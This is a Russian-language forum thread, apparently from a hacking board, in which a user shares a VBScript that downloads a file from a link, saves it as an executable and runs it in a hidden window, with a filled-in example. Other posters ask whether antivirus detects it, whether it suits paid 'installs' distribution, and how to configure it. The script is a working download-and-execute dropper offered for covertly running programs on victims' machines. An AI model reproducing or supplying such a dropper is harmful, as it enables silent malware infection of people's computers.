Скрипт на автоматическое скачивание файла и запуска

[Азат]

Скрипт на автоматическое скачивание файла и запуска

Расширение .vbs

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "Ссылка", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "Путь", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Название файла", 0, false

 

[TheSniw]

Он, случайно, не палевный?

 

[xweb]

под инсталлы канает? он ведь не установит бары, амиго и т.д, а просто запустит файл?

 

[chubais46]

Можно подробней описание как настроить?

 

[Азат]

Он, случайно, не палевный?

Да палится

 

[Азат]

Можно подробней описание как настроить?

Качаешь на сайт файл, а дальше вставляешь в скрипт параметры

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "Ссылка на файл", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "Путь для сохранения", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Название файла", 0, false

Пример:

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "C:\1.exe", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "1.exe", 0, false

 

[chubais46]

Т.С. УВАЖУХА!
Я просто сначала что то не догнал про путь к файлу.